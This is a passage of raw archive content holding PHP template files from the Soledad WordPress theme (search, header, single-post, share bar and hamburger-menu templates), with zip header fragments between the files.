                <?php wp_list_categories( array(
						'title_li'   => '',
						'style'      => '',
						'separator'  => '',
						'orderby'    => 'name',
						'show_count' => false,
						'taxonomy'   => 'category',
						'number'     => 10,
						'depth'      => 1,
				) ); ?>
            </div>
			<?php
			$recent_posts = get_posts( array(
				'numberposts' => 4,
				'post_status' => 'publish',
			) );
			if ( $recent_posts ) : ?>
                <div class="pc-search-recent-posts">
                    <h3 class="pc-search-recent-posts-title">
                        <?php echo penci_get_setting( 'penci_trans_recent' ); ?>
                    </h3>
                    <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                        <div class="pcsl-inner penci-clearfix pcsl-grid pencipw-hd-text pcsl-imgpos-top pcsl-col-4 pcsl-tabcol-2 pcsl-mobcol-1">
							<?php foreach ( $recent_posts as $post ) : setup_postdata( $post ); ?>
                                <div class="pcsl-item">
                                    <div class="pcsl-itemin">
                                        <div class="pcsl-iteminer">

                                            <div class="pcsl-thumb">

                                                <a <?php echo penci_layout_bg(penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), false );?> href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class(false);?> penci-image-holder">
                                                                    <?php echo penci_layout_img(penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ),get_the_title(),false);?>
                                                                </a>

                                            </div>
                                            <div class="pcsl-content">

                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"><?php the_title();?></a>
                                                </div>

                                                <div class="grid-post-box-meta pcsl-meta">
                                                    <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                                </div>
                                            </div>

                                        </div>
                                    </div>
                                </div>
							<?php endforeach;
							wp_reset_postdata(); ?>
                        </div>
                    </div>
                </div>
			<?php
			endif;
			wp_reset_postdata();
		endif;
		?>
        <a href="#" aria-label="Search" class="search-click close-search"><i class="penciicon-close-button"></i></a>
    </div>
</div>
<?php if ( 'popup' == $style ) : ?>
    <div class="pc-search-popup-overlay"></div>
<?php endif; ?>PK     N\+    ,  template-parts/header/vertical-menu-shop.phpnu [        <?php
$current_state = 'close';
$menu_title    = get_theme_mod( 'penci_woo_vertical_menu_title', 'Shop by Department' );
if ( has_nav_menu( 'vertical-shop-menu' ) ):
	?>
    <div class="vertical-shop-menu <?php echo esc_attr( $current_state ); ?>">
        <ul class="main-shop-nav">
            <li class="vertical-shop-menu-title-wrapper">
                <span class="vertical-shop-menu-title">
                    <?php penci_svg_menu_icon();?>
                    <?php esc_html_e( $menu_title ); ?>
                </span>
				<?php
				wp_nav_menu( array(
					'container'       => 'div',
					'container_class' => 'penci-vertical-shop-menu',
					'theme_location'  => 'vertical-shop-menu',
					'menu_class'      => 'menu-shop',
					//'fallback_cb'     => 'penci_menu_fallback',
					'walker'          => new penci_menu_walker_nav_menu()
				) );
				?>
            </li>
        </ul>
    </div>
<?php
endif;
PK     N\Cvc   c   #  template-parts/header/shop-icon.phpnu [        <?php
if ( ! class_exists( 'WooCommerce' ) ) {
	return;
}
do_action( 'penci_header_extra_icons' );
PK     N\#̶F  F  '  template-parts/header/header-second.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="penci-header-second <?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_remove_header' ) ): ?>
		<div class="inner-header">
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div id="logo">
					<?php get_template_part( 'template-parts/header/logo' ); ?>
					<?php if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif; ?>
				</div>

				<?php if ( penci_get_setting( 'penci_header_slogan_text' ) ) : ?>
					<div class="header-slogan">
						<div class="header-slogan-text"><?php echo penci_get_setting( 'penci_header_slogan_text' ); ?></div>
					</div>
				<?php endif; ?>

				<?php if ( ! get_theme_mod( 'penci_header_social_check' ) ) : ?>
					<div class="header-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
					</div>
				<?php endif; ?>
			</div>
		</div>
	<?php endif; ?>
</header>
<!-- end #header -->PK     N\dX	  	  #  template-parts/header/header-11.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div class="button-menu-mobile header-11"><?php penci_svg_menu_icon(); ?></div>
				<?php
				get_template_part( 'template-parts/header/logo-mobile' );
				if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif;
				echo '<div class="penci-menu-wrap">';
				get_template_part( 'template-parts/header/menu' );
				echo '</div>';

				$topbar_search = get_theme_mod( 'penci_topbar_search_check' );

				if( ! $topbar_search || get_theme_mod( 'penci_header_social_nav' ) || get_theme_mod('penci_menu_hbg_show') || ( class_exists( 'WooCommerce' ) ) ) {
					echo '<div class="penci-header-extra">';
					do_action( 'penci_top_search' );
					if ( ! $topbar_search ) {
						get_template_part( 'template-parts/header/top-search' );
					}
					get_template_part( 'template-parts/menu-hamburger-icon' );
					if ( class_exists( 'WooCommerce' ) ) {
						get_template_part( 'template-parts/header/shop-icon' );
					}
					if ( get_theme_mod( 'penci_header_social_nav' ) ) :
						?>
                        <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
							<?php get_template_part( 'inc/modules/socials' ); ?>
                        </div>
					<?php
					endif;
					echo '</div>';
				}
				?>
			</div>
		</nav>
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->
PK     N\6~z  z  0  template-parts/header/mailchimp-below-header.phpnu [        <?php
/**
 * Display sign-up mailchimp form below the header
 * Check if 'header-signup-form' has widget, if true display it
 *
 * @since 2.0
 */
if ( ! is_page_template( array( 'page-fullwidth.php' ) ) ) {
if( ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_signup_display_homepage' ) ) || ! get_theme_mod( 'penci_signup_display_homepage' ) ):
	if ( is_active_sidebar( 'header-signup-form' ) && ! get_theme_mod( 'penci_move_signup_below' ) ): ?>
		<div class="penci-header-signup-form">
			<div class="container">
				<?php dynamic_sidebar( 'header-signup-form' ); ?>
			</div>
		</div>
	<?php endif; ?>
<?php endif; } ?>PK     N\os,L0  0  "  template-parts/single-style-16.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-16 penci-single-smore container hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-16 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
	echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
} ?>>
    <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
		echo ' penci-single-infiblock-end';
	} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
        <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {

						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					}
					get_template_part( 'template-parts/single', 'post-format' );
				endwhile;
			endif;
			?>
        </div>
        <div class="<?php echo $class_container_single; ?>">
            <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                <div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
                </div>
            </div>
			<?php
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
                <div data-id="section-sidebar-<?php the_ID(); ?>"
                     data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                     class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
        </div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
    </div>
</div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>
PK     N\'7  7  *  template-parts/single-meta-comment-top.phpnu [        <?php
$style_cscount = get_theme_mod( 'penci_single_style_cscount', 's1' );
$single_sstyle = get_theme_mod( 'penci_single_style' );
$single_sstyle = $single_sstyle ? $single_sstyle : 'style-1';
$align_cscount = is_page() ? 'penci_page_align_cscount' : 'penci_post_align_cscount';
if ( is_page() ) {
	$page_cscount  = get_theme_mod( 'penci_page_style_cscount', $style_cscount );
	$style_cscount = ! empty( $page_cscount ) ? $page_cscount : $style_cscount;
}
$bio_style = get_theme_mod( 'penci_authorbio_style' ) ? get_theme_mod( 'penci_authorbio_style' ) : 'style-1';

$wrapper_class    = array();
$wrapper_class[]  = 'sstyle-' . $single_sstyle;
$wrapper_class[]  = 'tags-share-box tags-share-box-top';
$wrapper_class[]  = is_page() ? 'page-share hide-tags' : 'single-post-share';
$wrapper_class[]  = 'tags-share-box-' . $style_cscount;
$wrapper_class_c1 = 's1' == $style_cscount ? ' center-box' : ' tags-share-box-2_3';
$wrapper_class[]  = strpos( $style_cscount, 'n' ) !== false ? ' pcnew-share' : $wrapper_class_c1;
$wrapper_class[]  = $bio_style == 'style-4' ? 'share-box-border-bot' : '';
$wrapper_class[]  = 'social-align-' . get_theme_mod( strval( $align_cscount ), 'default' );

if ( is_single() && get_theme_mod( 'penci_post_share_disbtnplus', true ) ) {
	$wrapper_class[] = 'disable-btnplus';
}

if ( is_page() && get_theme_mod( 'penci_page_share_disbtnplus', true ) ) {
	$wrapper_class[] = 'disable-btnplus';
}

if ( in_array( $style_cscount, [ 'n1', 'n3', 'n5', 'n8', 'n9', 'n10', 'n11', 'n12', 'n13', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' penci-social-colored';
}

if ( in_array( $style_cscount, [
	'n1',
	'n3',
	'n5',
	'n8',
	'n9',
	'n10',
	'n11',
	'n12',
	'n13',
	'n14',
	'n16',
	'n19',
	'n20'
] ) ) {
	$wrapper_class[] = ' penci-icon-full';
}

if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' tags-share-box-s2';
}

if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13', 'n15', 'n17', 'n18', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' show-txt';
}

if ( in_array( $style_cscount, [ 'n3', 'n4', 'n18' ] ) ) {
	$wrapper_class[] = ' rounder';
}

if ( in_array( $style_cscount, [ 'n5', 'n6', 'n10', 'n11' ] ) ) {
	$wrapper_class[] = ' show-shadow';
}

if ( in_array( $style_cscount, [ 'n7' ] ) ) {
	$wrapper_class[] = ' focus-icon';
}

if ( in_array( $style_cscount, [ 'n8', 'n9', 'n10', 'n11', 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' size-large';
}

if ( in_array( $style_cscount, [ 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' txt-below';
}

if ( in_array( $style_cscount, [ 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' no-spacing';
}

if ( in_array( $style_cscount, [ 'n14', 'n15' ] ) ) {
	$wrapper_class[] = ' black-ver';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' border-style';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18' ] ) ) {
	$wrapper_class[] = ' penci-social-textcolored';
}

if ( in_array( $style_cscount, [ 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' full-border';
}

$show_comments = $show_socials = false;

if ( penci_soledad_social_share( '', false ) ) {
	$show_socials = true;
} else {
	$wrapper_class[] = ' no-social-enabled';
}

$show_comments_option = ! get_theme_mod( 'penci_single_meta_comment' );

if ( $show_comments_option && 's1' == $style_cscount && is_singular( 'post' ) ) {
	$show_comments = true;
	$show_socials  = true;
} else if ( get_theme_mod( 'penci_post_share' ) ) {
	$show_socials = false;
}


?>
<?php if ( ( $show_comments_option || ! get_theme_mod( 'penci_post_share' ) ) && $show_socials ): ?>
    <div class="<?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?> post-share<?php if ( get_theme_mod( 'penci__hide_share_plike' ) ): echo ' hide-like-count'; endif; ?>">
		<?php
		if ( 's1' != $style_cscount || is_page() ) {
			echo '<span class="penci-social-share-text">';
			if ( get_theme_mod( 'penci_trans_share' ) ) {
				echo do_shortcode( get_theme_mod( 'penci_trans_share' ) );
			} else {
				echo '<i class="penciicon-sharing"></i>';
				esc_html_e( 'Share', 'soledad' );
			}
			echo '</span>';
		}
		?>
		<?php if ( $show_comments ) : ?>
            <span class="single-comment-o<?php if ( get_theme_mod( 'penci_post_share' ) ) : echo ' hide-comments-o'; endif; ?>"><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
		<?php endif; ?>

		<?php if ( ! get_theme_mod( 'penci_post_share' ) ) : ?>
			<?php if ( ! get_theme_mod( 'penci__hide_share_plike' ) && ! is_page() ): ?>
                <span class="post-share-item post-share-plike"><?php echo penci_single_getPostLikeLink( get_the_ID() ); ?></span><?php endif; ?><?php penci_soledad_social_share( '' ); ?>
		<?php endif; ?>
    </div>
<?php endif; ?>
PK     N\`    !  template-parts/single-style-9.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-9 penci-single-smore container-single-fullwidth hentry';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-9 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if( ! get_theme_mod( 'penci_move_title_bellow' ) ) {

						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					}
					if( $show_post_format && has_post_thumbnail() ){
						echo '<div class="penci-post-image-wrapper">';
						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'post-format' );
						echo '</div></div>';
					}

				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\~q{5(  5(  !  template-parts/menu-hamburger.phpnu [        <?php
$classes = 'penci-vernav-hide';
$pos     = get_theme_mod( 'penci_menu_hbg_pos' );
$pos     = $pos ? $pos : 'left';

$hide_logo   = get_theme_mod( 'penci_menu_hbg_hide_logo' );
$hide_social = get_theme_mod( 'penci_menu_hbg_hidesocial' );

$footer_text  = get_theme_mod( 'penci_menu_hbg_footer_text' );
$social_style = get_theme_mod( 'penci_menuhbg_social_style' ) ? get_theme_mod( 'penci_menuhbg_social_style' ) : 'style-1';

$heading_sidebar = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
$heading_title   = get_theme_mod( 'penci_mhbgwidget_heading_style' ) ? get_theme_mod( 'penci_mhbgwidget_heading_style' ) : $heading_sidebar;

$heading_align_sidebar = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
$heading_align         = get_theme_mod( 'penci_mhbgwidget_heading_align' ) ? get_theme_mod( 'penci_mhbgwidget_heading_align' ) : $heading_align_sidebar;

$sb_icon_pos      = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
$sidebar_icon_pos = get_theme_mod( 'penci_hbg_icon_align' ) ? get_theme_mod( 'penci_hbg_icon_align' ) : $sb_icon_pos;

$sb_icon_design      = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
$sidebar_icon_design = get_theme_mod( 'penci_hbg_icon_design' ) ? get_theme_mod( 'penci_hbg_icon_design' ) : $sb_icon_design;

$logo_url_hamburger = esc_url( home_url( '/' ) );
if ( get_theme_mod( 'penci_custom_logo_hamburger' ) ) {
	$logo_url_hamburger = get_theme_mod( 'penci_custom_logo_hamburger' );
}
if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
	$classes = 'penci-vernav-show';
}
$block_content = penci_vernav_builder_content( 'penci_vertical_block' );
?>
<?php if ( $classes == 'penci-vernav-hide' ): ?>
    <div class="penci-menu-hbg-overlay"></div>
<?php endif; ?>
<?php if ( $classes == 'penci-vernav-show' ): ?>
    <a class="penci-vernav-toggle" aria-label="Close" href="#"><?php penci_svg_menu_icon(); ?></a>
<?php endif; ?>
<div class="penci-menu-hbg <?php echo $classes; ?> penci-menu-hbg-<?php echo esc_attr( $pos ); ?>">
    <div class="penci-menu-hbg-inner">
		<?php if ( $classes == 'penci-vernav-hide' ): ?>
            <a href="#" aria-label="Close" id="penci-close-hbg"><?php penci_fawesome_icon( 'fas fa-times' ); ?></a>
		<?php endif; ?>
		<?php if ( $block_content ) {
			echo $block_content;
		} else { ?>
			<?php if ( ! get_theme_mod( 'penci_menu_hbg_hide_logo' ) || get_theme_mod( 'penci_menu_hbg_sitetitle' ) || get_theme_mod( 'penci_menu_hbg_desc' ) ): ?>
                <div class="penci-hbg-header">
					<?php
					$hbg_sitetitle = get_theme_mod( 'penci_menu_hbg_sitetitle' );
					$hbg_desc      = get_theme_mod( 'penci_menu_hbg_desc' );
					if ( ! $hide_logo ) {
						$logo_img       = get_theme_mod( 'penci_menu_hbg_logo' );
						$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
						$dark_logo      = get_theme_mod( 'penci_menu_logosidebar_dark' ) ? get_theme_mod( 'penci_menu_logosidebar_dark' ) : $dark_logo;
						$data_dark_logo = '';

						if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
							$data_dark_logo = ' data-darklogo="' . esc_url( $dark_logo ) . '"';
						}
						?>
                        <div class="penci-hbg-logo site-branding">
							<?php if ( $logo_img ) { ?>
                                <a href="<?php echo $logo_url_hamburger; ?>"><img
                                            class="penci-lazy penci-hbg-logo-img penci-limg" <?php echo $data_dark_logo; ?>
                                            width="<?php echo penci_get_image_data_basedurl( $logo_img, 'w' ); ?>"
                                            height="<?php echo penci_get_image_data_basedurl( $logo_img, 'h' ); ?>"
                                            src="<?php echo penci_holder_image_base( penci_get_image_data_basedurl( $logo_img, 'w' ), penci_get_image_data_basedurl( $logo_img, 'h' ) ); ?>"
                                            data-src="<?php echo esc_url( $logo_img ); ?>"
                                            data-lightlogo="<?php echo esc_url( $logo_img ); ?>"
                                            alt="<?php bloginfo( 'name' ); ?>"/></a>
							<?php } elseif ( get_theme_mod( 'penci_logo' ) ) { ?>
                                <a href="<?php echo $logo_url_hamburger; ?>"><img
                                            class="penci-lazy penci-hbg-logo-img penci-limg" <?php echo $data_dark_logo; ?>
                                            width="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'w' ); ?>"
                                            height="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'h' ); ?>"
                                            src="<?php echo penci_holder_image_base( penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'w' ), penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'h' ) ); ?>"
                                            data-lightlogo="<?php echo esc_url( get_theme_mod( 'penci_logo' ) ); ?>"
                                            data-src="<?php echo esc_url( get_theme_mod( 'penci_logo' ) ); ?>"
                                            alt="<?php bloginfo( 'name' ); ?>"/></a>
							<?php } else { ?>
                                <a href="<?php echo $logo_url_hamburger; ?>"><img
                                            class="penci-lazy penci-hbg-logo-img penci-limg" width="125"
                                            height="36" <?php echo $data_dark_logo; ?>
                                            src="<?php echo penci_holder_image_base( 125, 36 ); ?>"
                                            data-lightlogo="<?php echo PENCI_SOLEDAD_URL; ?>/images/mobile-logo.png"
                                            data-src="<?php echo PENCI_SOLEDAD_URL; ?>/images/mobile-logo.png"
                                            alt="<?php bloginfo( 'name' ); ?>"/></a>
							<?php } ?>
                        </div>
						<?php
					}

					if ( $hbg_sitetitle ) {
						echo '<div class="penci-hbg_sitetitle">' . do_shortcode( $hbg_sitetitle ) . '</div>';
					}
					if ( $hbg_desc ) {
						echo '<div class="penci-hbg_desc">' . do_shortcode( $hbg_desc ) . '</div>';
					}
					?>
                </div>
			<?php endif; /* Hide hambuger header tag */ ?>
			<?php if ( get_theme_mod( 'penci_menu_hbg_show_search' ) ): ?>
                <div class="penci-hbg-search-box">
                    <form role="search" method="get" class="pc-searchform penci-hbg-search-form"
                          action="<?php echo esc_url( home_url( '/' ) ); ?>">
                        <div class="inner-hbg-search-form">
                            <input type="text" class="search-input"
                                   placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>"
                                   name="s"/>
                            <i class="penciicon-magnifiying-glass"></i>
                        </div>
                    </form>
                </div>
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_dms_enable' ) ): ?>
                <div class="penci-ver-dm-switcher">
					<?php echo penci_dm_button(); ?>
                </div>
			<?php endif; ?>
            <div class="penci-hbg-content penci-sidebar-content <?php echo sanitize_text_field( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
				<?php if ( is_active_sidebar( 'menu_hamburger_1' ) ) { ?>
                    <div class="penci-menu-hbg-widgets1">
						<?php dynamic_sidebar( 'menu_hamburger_1' ); ?>
                    </div>
				<?php } ?>
				<?php
				if ( has_nav_menu( 'main-menu' ) && ! get_theme_mod( 'penci_menu_hbg_hide_menu' ) ) {
					$args = array(
						'container'      => false,
						'theme_location' => 'main-menu',
						'menu_class'     => 'menu menu-hgb-main',
						'fallback_cb'    => 'penci_menu_fallback',
						'walker'         => new penci_menu_walker_nav_menu()
					);

